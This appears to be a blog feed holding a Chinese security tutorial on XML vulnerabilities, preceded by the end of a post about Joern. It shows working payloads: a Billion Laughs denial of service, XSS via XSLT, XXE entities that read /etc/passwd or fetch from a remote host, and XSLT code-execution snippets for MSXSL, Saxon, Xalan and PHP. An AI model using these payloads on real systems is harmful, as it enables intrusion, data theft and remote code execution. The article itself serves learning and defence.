通过上面的分享，相信大家对 Joern 也有了比较直观的了解。先说说使用的缺点，首先是文档不完善，很多接口需要查看源代码或者在社区里找答案；另一个广为诟病的是其数据流引擎，存在很多误报和漏报的情况。上面的代码中看到它名字叫 ossdataflow，只实现了非常简单的数据流，和 CodeQL 等商业软件相比还有差距。这不禁让人想起隔壁村的 radare2，以及一张开源梗图：

oss.png

不过 Shiftleft(Joern 所属公司) 还有一款商业的代码扫描工具，名为 ocular，其中大部分功能和 joern 一致，只不过其数据流引擎是优化过的，而且增加了许多接口的建模，感兴趣的可以参考 joern-vs-ocular。由此可见不是没有能力做好，只是由于利益关系注定不会在上面投入太多。

虽然有很多缺点，但 Joern 也有其优势。首先是其架构设计比较优雅，可以基于不同的前端加入新的语言支持，除了源码还支持字节码和二进制程序(汇编)；其次是其查询语言基于成熟的编程语言 Scala 来实现，具备很强的灵活性，可以实现各种复杂的查询；最后就是作为开源软件，主打一个 “自主可控”，只要具备一定编码能力那么基本各种需求都能够实现，从而克服前面说到的诸多缺点。

参考资料

版权声明: 自由转载-非商用-非衍生-保持署名 (CC 4.0 BY-SA)
原文地址: https://evilpan.com/2024/09/16/using-joern/
微信订阅: 『有价值炮灰』
– TO BE CONTINUED.

]]> XML 相关漏洞风险研究 https://evilpan.com/2024/06/02/xml-vulnerabilities/ Sun, 02 Jun 2024 12:20:00 +0800 evilpan https://evilpan.com/2024/06/02/xml-vulnerabilities/ 小小的 XML，大大的风险。

前言

经常看到有关 XXE 的漏洞分析，大概知道原理，但是对 XML 中相关的定义却一知半解。XEE 全称为 XML External Entity 即 XML 外部实体，但除了常见的 EXP 还有哪些触发方法？XML 相关的漏洞除了 XXE 还有什么其他攻击面？为了回答这些问题，本文先从开发者的角度先学习 XML 的基本结构和一些进阶用法，然后再引申出相关的攻击场景。

XML 101

XML 是一个文档标准，用于描述结构化的文本文档，使其同时实现机器可读且人类也可读的目标。其全称为 Extensible Markup Language，即可拓展标记语言。一个简单的 XML 示例如下:

<?xml version="1.0" encoding="UTF-8"?>
<foo>hello</foo>

其中第一部分为可选的声明(Prolog 或者 Declaration)，描述文档使用的版本以及编码等信息；第二部分是一个标签(Tag)，为 XML 文档中的基本单位，可以嵌套使用但需要正确闭合。

当然 XML 标准中还定义了许多核心概念，如属性(Attributes)、命名空间(Namespaces)、字符数据(CDATA)等，本节关注其中比较重要的几个概念，完整文档可以参考:

DTD 全称为 Document Type Definition，即文档类型定义，主要用于定义 XML 文档的结构，比如指定文档中允许存在哪些元素、元素的内容和属性、元素的嵌套规则等。

我们先看一个 DTD 的经典用法:

<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
]>
<note>
    <to>Alice</to>
    <from>Bob</from>
</note>

上面定义了一个 XML 文档，根结点为 note，包含 to、from 这两个子元素(标签)，且这两个子标签都是文本标签，即其子元素为文本数据，使用 #PCDATA 表示(Parsed Character Data)。

将文档类型定义写在 XML 文档中称为内部 DTD，除此之外，还可以写在单独的文件中进行引用，称为外部 DTD，比如写在下面的 note.dtd 中:

<!ELEMENT note (to,from)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>

原始的 XML 可以改成:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
    <to>Alice</to>
    <from>Bob</from>
</note>

我们也可以在引入外部 dtd 的同时定义额外的内部 dtd 规则:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd" [
<!ELEMENT msg (#PCDATA)>
]>
<note>
    <to>Alice</to>
    <from>Bob</from>
    <msg>hello</msg>
</note>

在 XML 标准中对于 DTD 的格式定义如下(EBNF格式):

doctypedecl	::= '<!DOCTYPE' S Name (S ExternalID)? S? ('[' intSubset ']' S?)? '>'

S ::=  (#x20 | #x9 | #xD | #xA)+
ExternalID ::=  'SYSTEM' S SystemLiteral
              | 'PUBLIC' S PubidLiteral S SystemLiteral
intSubset  ::= (markupdecl | DeclSep)*

外部 DTD 除了可以用 SYSTEM 引入系统磁盘文件，还可以使用 PUBLIC 引入网络文件，比如:

<?xml version="1.0"?>
<!DOCTYPE note PUBLIC "-//W3C//DTD XMLNote 1.0//EN" "http://evilpan.com/note.dtd">
<note>
    <to>Alice</to>
    <from>Bob</from>
</note>

其中 PUBLIC 后的字符串 "-//W3C//... 为 Public Identifier，用于描述 DTD 的格式。比如针对 HTML 的示例:

关于 DTD 的详细介绍可以参考下面的文档:

在 XML 中另外一个重要的概念就是实体(Entity)。对于编程人员来说，实体可以理解为变量。实体的引用通常以 & 开头且以 ; 结尾，除了参数实体以 % 开头。XML 文档中定义了五个标准实体，分别是:

  • &amp; 表示与字符：& (ampersand)
  • &apos; 表示单引号：' (apostrophe)
  • &quot; 表示双引号：" (quotation mark)
  • &lt; 表示小于号：< (less than)
  • &gt; 表示大于号：> (greater than)

实体根据类型主要分为字符实体、命名实体、外部实体和参数实体。

字符实体可以用数字表示任意字符，比如字符 A 可以表示为 &#65;(十进制) 或者 &#x41;(十六进制)；

命名实体在 XML 规范中也称为内部实体，命名实体在内部或者外部 DTD 中进行声明，在 XML 文档解析过程中，实体引用会被替换成其定义的值。XML 文档中对于实体定义的规范如下:

[70]    EntityDecl  ::=    GEDecl | PEDecl
[71]    GEDecl      ::=    '<!ENTITY' S Name S EntityDef S? '>'
[72]    PEDecl      ::=    '<!ENTITY' S '%' S Name S PEDef S? '>'
[73]    EntityDef   ::=    EntityValue | (ExternalID NDataDecl?)
[74]    PEDef       ::=    EntityValue | ExternalID

其中 71 定义内部/外部实体，72定义的是参数实体。

一个示例的(内部)实体定义如下:

<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ENTITY sb "evilpan">
]>
<note>
    <to>&sb;</to>
    <from>&sb;</from>
</note>

在 XML 解析时，实体会被替换成引用的值，即:

<note>
    <to>evilpan</to>
    <from>evilpan</from>
</note>

同时实体的定义中也可以嵌套引用其他实体，比如

<!ENTITY c "Hello">
<!ENTITY ch "&c; World">

注意: 循环引用会导致 XML 解析器报错。

外部实体的定义与上一节中对 DTD 的 ExternalID 的定义是一致的:

ExternalID ::=  'SYSTEM' S SystemLiteral
              | 'PUBLIC' S PubidLiteral S SystemLiteral

外部实体的一个使用示例如下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY header SYSTEM "header.xml">
]>
<root>
&header;
<body>hello</body>
</root>

由于外部实体可以引用文件系统中的文件，因此如果攻击者可控可能会导致信息泄露的风险，这也是 XXE 漏洞的根因，后文会详细介绍。

上面介绍的这些实体统称为一般实体(General Entities)，与之相对应的是参数实体(Parameter Entities)。参数实体同样定义在 DTD 中，但名称前会加一个百分号 %，并且参数实体只能在 DTD 中使用 %name; 进行引用:

<!ENTITY % YN '"Yes"' >
<!ENTITY WhatHeSaid "He said %YN;" >

XML命名空间（XML Namespaces）是一种机制，用于避免XML文档中元素和属性名的冲突。当不同的文档或不同的组织使用相同的名称但定义不同的元素时，通过为元素和属性名提供一个命名空间，可以明确它们的身份和范围。

XML命名空间通过在元素开始标签中使用xmlns属性来声明。xmlns属性可以定义一个默认命名空间或一个带前缀的命名空间：

  • 默认命名空间：xmlns="命名空间URI"，声明后，当前元素及其子元素（除非另有指定）都属于指定的命名空间。
  • 前缀命名空间：xmlns:前缀="命名空间URI"，仅适用于使用该前缀的元素和属性。

命名空间的使用示例如下，定义了一个默认命名空间和一个前缀命名空间，其中 message 元素属于前缀命名空间 ex:

<?xml version="1.0"?>
<note xmlns="http://www.evilpan.com/note"
      xmlns:ex="http://www.example.com/foo">
    <to>Alice</to>
    <from>Bob</from>
    <ex:message id="1337">Foo</ex:message>
</note>

详见:

前面说过 XML 的文档格式定义和校验主要基于文档类型声明 DTD，但其存在许多局限性，比如:

  • 对于一些新的 XML 特性没有明确支持，主要包括 XML namespace；
  • 缺乏表现力，对于一些特殊的文档格式无法进行描述；
  • 缺乏可读性，DTD 的编写大都把 Entity 当做宏来使用，导致难以阅读；
  • ……

为了解决这些问题，W3C 提出了一种新的文档声明格式 XML Schema Definition，即 XSD。与基于DTD（文档类型定义）的验证相比，XML Schema 提供了更丰富的数据类型支持、更强的约束定义能力以及命名空间的支持。

还是以上文中的 note 为例，其 XML 文档内容使用 XML Schema 约束的示例如下:

<?xml version="1.0"?>
<note xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xsi:noNamespaceSchemaLocation="note.xsd">
    <to>Alice</to>
    <from>Bob</from>
</note>

note.xsd 文件同样是一个合法的 XML 文件:

<?xml version="1.0" encoding="UTF-8"?>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
  <!-- 定义根元素 note -->
  <xs:element name="note">
    <xs:complexType>
      <xs:sequence>
        <!-- note 元素包含 to 和 from 子元素 -->
        <xs:element name="to" type="xs:string"/>
        <xs:element name="from" type="xs:string"/>
      </xs:sequence>
    </xs:complexType>
  </xs:element>
</xs:schema>

可以看到 XML Schema 可以对元素和属性做出更精确的定义，不过由于其语法相对繁琐也经常被开发者所诟病。关于 XSD 更多的数据结构和数据类型定义，可以参考下面的文档:

XML Inclusions (XInclude) 也是 W3C 的一个建议标准，主要用于对 XML 文档进行结构化拆分和包含，一个典型的用法如下:

<?xml version="1.0"?>
<note xmlns:xi="http://www.w3.org/2001/XInclude">
    <xi:include parse="xml" href="foo.xml"/>
</note>

前文我们学习了 XSD，下面则是 XInclude 元素的 XSD 描述:

主要定义了 include 标签和 fallback 子标签，其中 fallback 的作用主要提供在 include 加载失败时的默认信息。

include 标签中包含 href、parse 等属性。

<xs:complexType name="includeType" mixed="true">
	<xs:choice minOccurs="0" maxOccurs="unbounded">
		<xs:element ref="xi:fallback"/>
		<xs:any namespace="##other" processContents="lax"/>
		<xs:any namespace="##local" processContents="lax"/>
	</xs:choice>
	<xs:attribute name="href" use="optional" type="xs:anyURI"/>
	<xs:attribute name="parse" use="optional" default="xml" type="xi:parseType"/>
	<xs:attribute name="xpointer" use="optional" type="xs:string"/>
	<xs:attribute name="encoding" use="optional" type="xs:string"/>
	<xs:attribute name="accept" use="optional" type="xs:string"/>
	<xs:attribute name="accept-language" use="optional" type="xs:string"/>
	<xs:anyAttribute namespace="##other" processContents="lax"/>
</xs:complexType>

其中，

  • href: 指定包含的文件 URI，可以是本地文件路径，也可以是网络地址；
  • parse: 表示所包含文件的格式，为 xml 或者 text，默认为 xml；
  • xpointer: 表示当 parse 为 xml 时，用于指定包含目标 XML 的范围，即选择包含部分的 XML 内容，其语法见 XPointer Framework；
  • encoding: 指定包含文件的编码，仅对 parse="text" 有效；
  • accept: 当 href 为网络地址时，用于指定 Accept 头的内容；
  • accept-language: 当 href 为网络地址时，用于指定 Accept-Language 头的内容；

这里有人可能会有疑问，XInclude 与外部实体不是类似的吗？确实，它们的作用都是用来包含外部文档片段以减少复制粘贴。但他们有个核心的差异，Entity 的解析是在 XML 文件解析的过程中执行的，而 XInclude 则是在 XML 文档解析之后处理的，操作于信息集上，二者并没有直接联系。

也就是说，即便 XML 解析器禁用了外部实体，依然可能可以通过 XInclude 包含文档。

XSLT 全称为 Extensible Stylesheet Language Transformations，主要用于编写样式表将 XML 转换为其他格式的文档，如 XHTML、JSON、文本等。XSLT 也是基于 XML 的，但具备强大的灵活性和扩展性。不仅可以用于文档转换，还常被用于数据清洗、报告生成以及数据的提取和重组等任务。

XSLT 单独保存为文件时可以是 .xsl 或者 .xslt 后缀。以我们之前的 note XML 为例，以下 note.xsl 将其转换为 XHTML 文档:

<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
  <html>
    <body>
      <h1>Note</h1>
      <p>To: <xsl:value-of select="note/to"/></p>
      <p>From: <xsl:value-of select="note/from"/></p>
    </body>
  </html>
</xsl:template>
</xsl:stylesheet>

简单来说，XSLT 之于 XML，类似 CSS 之于 HTML。我们可以在 XML 文档中使用 XML 声明(xml-stylesheet)引用该 XSLT，如下所示:

<?xml version="1.0" encoding="UTF-8"?>  
<?xml-stylesheet href="note.xsl" type="text/xsl"?>
<note>
    <to>Alice</to>
    <from>Bob</from>
</note>

如果你曾经在浏览器中打开过 XML 文件，那很可能遇到过这个提示，表示当前 XML 没有指定 XSLT 样式表:

This XML file does not appear to have any style information associated with it.

值得一提的是，虽然 XSLT 通常被当成样式表来使用，但其实它可以看成是一个图灵完备的编程语言，比如支持条件判断:

<xsl:if test="expression">
    <!-- 条件为真时的操作 -->
</xsl:if>

if-else:

<xsl:choose>
    <xsl:when test="expression">
        <!-- 第一个条件为真时的操作 -->
    </xsl:when>
    <xsl:otherwise>
        <!-- 上述条件都不满足时的操作 -->
    </xsl:otherwise>
</xsl:choose>

循环:

<xsl:for-each select="path/to/element">
    <!-- 对每个选中的元素执行的操作 -->
</xsl:for-each>

此外 XSLT 支持函数调用，比如:

<xsl:value-of select="current()"/>
<xsl:value-of select="concat('foo', 'bar')"/>
<xsl:value-of select="document('foo.xml')"/>

在 XSLT 2.0 标准中还支持自定义函数 xsl:function，极大丰富了 XSLT 的功能。

漏洞风险

上面我们介绍了 XML 中涉及到的一些基本概念，本节就来从攻击者角度看看其中能引申出什么风险。

在 Entity 一节中我们说到 XML 的 DTD 可以定义实体，而且实体的定义中可以引入其他实体，那么我们可以定义一个 XML 不断引用其他实体，可以以很小的初始数据实现指数级别的内容膨胀，一个示例如下:

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

上述 XML 文件在解析 <lolz> 根节点时不断解析前述定义的实体，最终可以让根节点包含 10^9 个 "lol" 字符串，占用大约 3 GB 内存，从而实现对目标解释器拒绝服务的效果。由于最初使用的是 lol 作为 payload，因此这种攻击也称为 Billion laughs attack。要缓解这类攻击通常需要在 XML 解析器中配置禁用 DOCTYPE。

在 XSLT 一节中我们说到基于 XSLT 样式表可以为 XML 提供样式转换，而且这个转换是浏览器也支持的。既然可以将 XML 转换成 HTML 来渲染，那么是否支持 HTML 中的一些特性呢，比如执行 JavaScript 脚本？答案是肯定的。

我们稍微修改一下前文中的样式表，如下所示:

<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
  <html>
    <head>
      <script> alert(/xss/) </script>
    </head>
    <body>
      <h1>Note</h1>
      <p>To: <xsl:value-of select="note/to"/></p>
      <p>From: <xsl:value-of select="note/from"/></p>
    </body>
  </html>
</xsl:template>
</xsl:stylesheet>

然后在浏览器中打开 note.xml，发现 JavaScript 正确执行了！

经过一番搜索后发现，除了间接引用 XSLT，在 XML 文档本身中，也可以通过命名空间指定 XHTML 来执行 JavaScript 代码，示例 xss.xml 如下:

<?xml version="1.0" encoding="UTF-8"?>  
<note>
  <to>Alice</to>
  <from>Bob</from>
  <xh:script xmlns:xh="http://www.w3.org/1999/xhtml">alert(/xss/)</xh:script>
</note>

因为如果在 XML 中使用 <script> 标签会被认为是一个普通元素而不会将其子元素当成 JavaScript 执行。

终于说到了我们开头提到的 XXE 漏洞，这是 XML 相关风险中一个相当重要的攻击场景，并且引申出了很多其他的攻击风险。

回到漏洞本身，其实 root cause 很简单，核心在于外部实体定义可以指定引用系统文件，从而导致解析 XML 的过程中引起信息泄露，一个常见的 PoC 如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
	<!ENTITY xxe SYSTEM "/etc/hosts">
]>
<root>
  <foo>&xxe;</foo>
</root>

Entity 实体定义除了引用系统文件，还能引用网络文件:

<!ENTITY xxe SYSTEM "http://example.com/xxe">
<!ENTITY xxe SYSTEM "ftp://example.com/xxe">

这一方面可以将 XXE 转换为 SSRF 漏洞，另一方面也可以将某些敏感信息通过网络请求回传给攻击者。

除了 SYSTEM Entity，PUBLIC Entity 同样可是实现类似的效果:

<!ENTITY xxe PUBLIC "-//W3C//EVILPAN/EN" "/etc/hosts">
<!ENTITY xxe PUBLIC "-//W3C//EVILPAN/EN" "file:///etc/hosts">
<!ENTITY xxe PUBLIC "-//W3C//EVILPAN/EN" "http://evilpan.com/xxe">

得益于我们前面系统学习了 XML 的定义，因此知道除了普通实体以外，参数实体也可以用来进行 XXE 攻击:

<!ENTITY % xxe SYSTEM "http://evilpan.com/xxe">
<!ENTITY % xxe SYSTEM "ftp://evilpan.com/xxe">

那么是不是只要禁用了 外部实体 就能解决该问题了呢？我们前面说过 XInclude 是不使用外部实体的一个建议标准，如果 XML 解析器没有禁用 XInclude 的话也可能会造成 XXE 攻击，比如 ImageMagick 的 CVE-2023-38633 漏洞。

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
	<xi:include parse="text" href="file:///etc/hosts"/>
</foo>

那么，我们把 XInclude 也禁用就好了吧！但如果你只禁用了外部实体的话，别忘记 DTD 本身也是可以使用 “外部” 引用的:

<!DOCTYPE root SYSTEM "http://evilpan.com/xxe.dtd">

这也是一个潜在的 SSRF 漏洞，因此我们需要将 DOCTYPE 完全禁用才能完全缓释这个问题。

例如在一个基于 Java dom4j 的项目中，我们可能需要设置禁用一大堆 Feature 才敢放心地处理一个外部传入的 XML 文件:

String EGE = "http://xml.org/sax/features/external-general-entities";
String EPE = "http://xml.org/sax/features/external-parameter-entities";
String LED = "http://apache.org/xml/features/nonvalidating/load-external-dtd";
String DDD = "http://apache.org/xml/features/disallow-doctype-decl";
String XIN = "http://apache.org/xml/features/xinclude";
SAXReader reader = new SAXReader();  
reader.setFeature(LED, false);  
reader.setFeature(EGE, false);  
reader.setFeature(EPE, false);  
reader.setFeature(DDD, true);  
reader.setFeature(XIN, true);  
Document dom = reader.read(file);

除了上面 XML 自带的特性，还有我们前面提到的 XML Schema 可以指定外部 xsd 文件，XSLT 可以指定 xsl 样式转换文件，这都带来了潜在的 SSRF 风险。对于 XSLT 而言，我们可以基于其内置的标签或者函数去引入外部文件:

<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:include href="file:///etc/passwd"/>
  <xsl:import href="file:///etc/passwd"/>
</xsl:stylesheet>

基于 document 内置方法:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet  version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('file:///etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

该 PoC 正是最近 获得 $28000 赏金的 Safari CVE-2023-40415 和 Chrome CVE-2023-4357 所使用的。即使在浏览器这么安全的软件中也依然忽视了这些 XML 的攻击面，另外提一嘴，Chrome 中使用的还只是 XSLT 1.0 的标准，我们前面看到 XSLT 已经出到了 3.0，其中增加了许多内置函数，有心人如果捡到了新的漏洞别忘了也给我分享一下 :)

最后回到 XXE 的漏洞利用上。如果目标 XML 解析器能够回显某个请求的 XML 结点那一切都好办，我们可以通过回显拿到泄露的文件内容。

如不不幸没有回显，还可以尝试通过 SSRF 外带出文件内容，不过由于没有 URL 编码，在遇到特殊字符如换行符的时候通常会被截断。

对于 Java 应用可以尝试用 FTP 去传输带有换行的文件，不过 Java 高版本中也不再支持了。

这时如果服务端解析 XML 的报错信息能出现在返回内容中，就可以使用基于报错的回显。不过报错回显也不是什么错都能报的，要想在比较通用的报错信息中获得回显，一般需要一个可控的 DTD 文件，这就要求需要网络连接。2018 年十佳安全技术之一 Exploiting XXE with local DTD files 就提出了使用本机上内置的一些 DTD 文件来实现报错，感兴趣的可以阅读原文细看。

XXE 似乎是 XML 能见到的最严重的漏洞了，但其实在某些场景中 XML 也能直接造成 RCE 的风险，其中最主要的一个场景还是 XSLT。不同的 XSLT 编译器(解释器?)有不同的实现，因此我们在测试 XSLT 之前第一件事就是先确定其实现以及支持的版本，XSLT 1.0 标准中定义了 3 个必须实现的属性，使用 system-property 函数进行获取:

<xsl:value-of select="system-property('xsl:version')" />
<xsl:value-of select="system-property('xsl:vendor')" />
<xsl:value-of select="system-property('xsl:vendor-url')" />

其中比较重要的是 Vendor 信息，@IOActive 统计了一些常见的 XSLT 引擎信息如下表所示:

processor xsl:version xsl:vendor JavaScript
server
xalan-c 1 Apache Software Foundation no
xalan-j 1 Apache Software Foundation no
saxon 2 Saxonica no
xsltproc 1 libxslt no
php 1 libxslt no
python 1 libxslt no
perl 1 libxslt no
ruby 1 libxslt no
client
safari 1 libxslt yes
opera 1 libxslt yes
chrome 1 libxslt yes
firefox 1 Transformiix yes
internet explorer 1 Microsoft yes

From @IOActive: Abusing XSLT for Practical Attacks White Paper

如果显示的是 Microsoft XSLT 解释器，那么可以尝试通过 msxsl:script 标签来执行 C# 代码:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
  xmlns:msxsl="urn:schemas-microsoft-com:xslt" 
  xmlns:App="http://www.tempuri.org/App">
  <msxsl:script implements-prefix="App" language="C#">
  <![CDATA[
    {
      System.Diagnostics.Process.Start("cmd.exe /C calc.exe");
    }
  ]]>
  </msxsl:script>
  <xsl:template match="/">
  </xsl:template>
</xsl:stylesheet>

不过这通常需要设置 XsltSettings.EnableScript，参考 Script Blocks Using msxsl:script。

如果显示的是 SAXON xxx from Saxonica 即 Saxon 解释器，那么可以通过 xalan:script 来尝试执行 Java 代码:

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:xalan="http://xml.apache.org/xslt" xmlns:Math="xalan://java.lang.Math">
  <xalan:component prefix="Math" functions="sin cos tan atan">
    <xalan:script lang="javaclass" src="xalan://java.lang.Math"/>
  </xalan:component>
  <xsl:variable name="pi" select="4.0 *"/>
  <!-- ... -->
</xsl:stylesheet>

Saxon 官网文档都是德文的，除了上述这种官网的用法外，还找到另一种执行代码的方法:

<xml version="1.0"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="http://saxon.sf.net/java-type">
  <xsl:template match="/">
    <xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'calc.exe')" xmlns:Runtime="java:java.lang.Runtime"/>
  </xsl:template>
</xsl:stylesheet>

使用 Xalan 执行代码并获取返回内容的示例:

<?xml version="1.0" encoding="ISO-8859-1" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:fo="http://www.w3.org/1999/XSL/Format">    
    <xsl:template match="CClienti">
        <CClienti label="{{0}} Trasformato">
<xsl:variable name="abcd" select="Runtime:exec(Runtime:getRuntime(),'ifconfig')" xmlns:Runtime="http://xml.apache.org/xalan/java/java.lang.Runtime"/> 
<xsl:variable name="efgh" select="jv:getInputStream($abcd)" xmlns:jv="http://xml.apache.org/xalan/java"/> 
<xsl:variable name="ijkl" select="isr:new($efgh)" xmlns:isr="http://xml.apache.org/xalan/java/java.io.InputStreamReader"/> 
<xsl:variable name="mnop" select="br:new($ijkl)" xmlns:br="http://xml.apache.org/xalan/java/java.io.BufferedReader"/> 
<xsl:value-of select="jv:readLine($mnop)" xmlns:jv="http://xml.apache.org/xalan/java"/> 
<xsl:value-of select="jv:readLine($mnop)" xmlns:jv="http://xml.apache.org/xalan/java"/>           
        </CClienti>
    </xsl:template>

    <xsl:template match="@*|node()">
        <xsl:copy>
            <xsl:apply-templates select="@*|node()"/>
        </xsl:copy>
    </xsl:template>
    
</xsl:stylesheet>

对于 PHP 环境，可以尝试使用 php:function 调用任意 PHP 函数:

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<xsl:value-of select="php:function('readfile','index.php')" />
</body>
</html>

因此我们在遇到 XSLT 被解析的时候需要格外关注，并针对对应 Vendor 仔细查看其文档，说不定就能捡到一个 RCE 漏洞呢！

漏洞挖掘

通过前面的学习和总结，我们已经知道了 XML 的各种攻击面，接下来就是在所有能遇到 XML 的地方把 payload 喷射一遍了。除了传统的攻击点，还有一些不常见的攻击场景，本节就来进行介绍。

传统上我们测试 XXE 漏洞会在遇到有 XML 请求时尝试修改请求体去验证外部实体的解析情况，但在一些场景中我们可以无中生有，将原本不是 XML 的请求修改成 XML 进行测试。

例如，对于一个常规的 POST FORM 请求:

POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar

我们可以将其转成 XML 格式，如下:

POST /action HTTP/1.0
Content-Type: application/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?>
<foo>bar</foo>

如果服务端返回的结果相同，那么就可能解析 XML，从而进行下一步 XXE 验证。这是因为当今许多 Web 框架都会根据 Content-Type 去自动进行参数解析和绑定，特别是 SpringBoot 这类框架还会将请求参数解析成 Java Bean 实例传给开发者。其他可尝试转换的请求有 HTTP GET 参数、JSON Body 等。

SVG 是一种图片格式，但也是合法的 XML 文件，可以尝试引用外部实体:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
  <!ENTITY poc SYSTEM "file:///etc/passwd">
]>
<svg width="128" height="128" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&poc;</text>
</svg>

在前面提到过的 ImageMagic CVE-2023-38633 中就有因为 XInclude 导致的 XXE 漏洞，因此如果文件上传时可以上传带外部实体的 SVG 文件，如果服务器使用的 SVG 解析器不当的话也会造成 XXE 风险。

微软的 Office 套件即常见的三件套:

  • Word 文档，后缀为 .doc
  • Excel 表格，后缀为 .xls
  • PowerPoint，后缀为 .ppt

在 2006 年，微软提出了 OOXML，即 Open Office XML 格式，也就是我们常见的带 x 后缀的新文件名 .docx、.xlsx 和 .pptx。在 2022 年被 ISO 收纳成为国际标准并改名为 OXML 即 Open XML。

顾名思义，OXML 也是基于 XML 的，其本体是一个 ZIP 压缩文档，其中的文档内容以 XML 文件的形式组织。因此，Office 文档也可以当成 XXE 漏洞的载体。QQ 邮箱和网易邮箱等附件预览处都曾出现过 XXE 漏洞。

一个典型的 docx 文件解压后的目录结构如下所示：

$ tree foo.docx/
foo.docx/
├── [Content_Types].xml
├── docProps
│   ├── app.xml
│   └── core.xml
├── _rels
└── word
    ├── charts
    │   └── chart1.xml
    ├── document.xml
    ├── fontTable.xml
    ├── media
    │   └── image1.jpeg
    ├── numbering.xml
    ├── _rels
    │   └── document.xml.rels
    ├── settings.xml
    └── styles.xml

另外一种可能鲜为人知的 XML 数据结构是 XMP，全程为 Extensible Metadata Platform，即可拓展元数据平台。这是由 Adobe 创建的一种标准，用于处理和存储文档和图片数据中的自定义元数据，包括 PDF、JPEG、PNG、MP3 等多种格式。

在文件中添加 XMP 元数据可以使用 exiftool，下面是一个具体的使用示例。

首先用 ImageMagick 创建一个 1x1 的示例图片：

convert -size 1x1 xc:transparent png:poc.png

以该 PNG 为例，我们需要先用 exiftool 创建一个 poc.xmp，并将其合并到 poc.png 中：

$ exiftool -XMP-dc:Creator="evilpan" -XMP-dc:Rights="© evilpan 2024" -o poc.xmp
$ exiftool -tagsfromfile poc.xmp -xmp poc.png
Warning: [minor] Text/EXIF chunk(s) found after PNG IDAT (fixed) - poc.png
    1 image files updated

poc.xmp 的文件内容如下：

<?xpacket begin='<feff>' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 12.40'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>

 <rdf:Description rdf:about=''
  xmlns:dc='http://purl.org/dc/elements/1.1/'>
  <dc:creator>
   <rdf:Seq>
    <rdf:li>evilpan</rdf:li>
   </rdf:Seq>
  </dc:creator>
  <dc:rights>
   <rdf:Alt>
    <rdf:li xml:lang='x-default'>© evilpan 2024</rdf:li>
   </rdf:Alt>
  </dc:rights>
 </rdf:Description>
</rdf:RDF>
</x:xmpmeta>
<?xpacket end='w'?>

这是一个典型的 XML 格式文件。根据目标格式不同，XMP 存储的位置也不一样，对于 JPEG 会添加到图片文件的 EXIF 中，对于 PNG 文件则是添加一个 iTXt 段。直接用 exiftool 来查看插入的 XMP 数据：

$ exiftool poc.png
...
XMP Toolkit                     : Image::ExifTool 12.40
Creator                         : evilpan
Rights                          : © evilpan 2024
Image Size                      : 1x1
Megapixels                      : 0.000001

可以看到 Creator 和 Rights 信息已经添加到了图片中。使用二进制编辑器也可以看到插入的 XML 数据：

EXIF
poc.png 中嵌入 XML(XMP) 数据

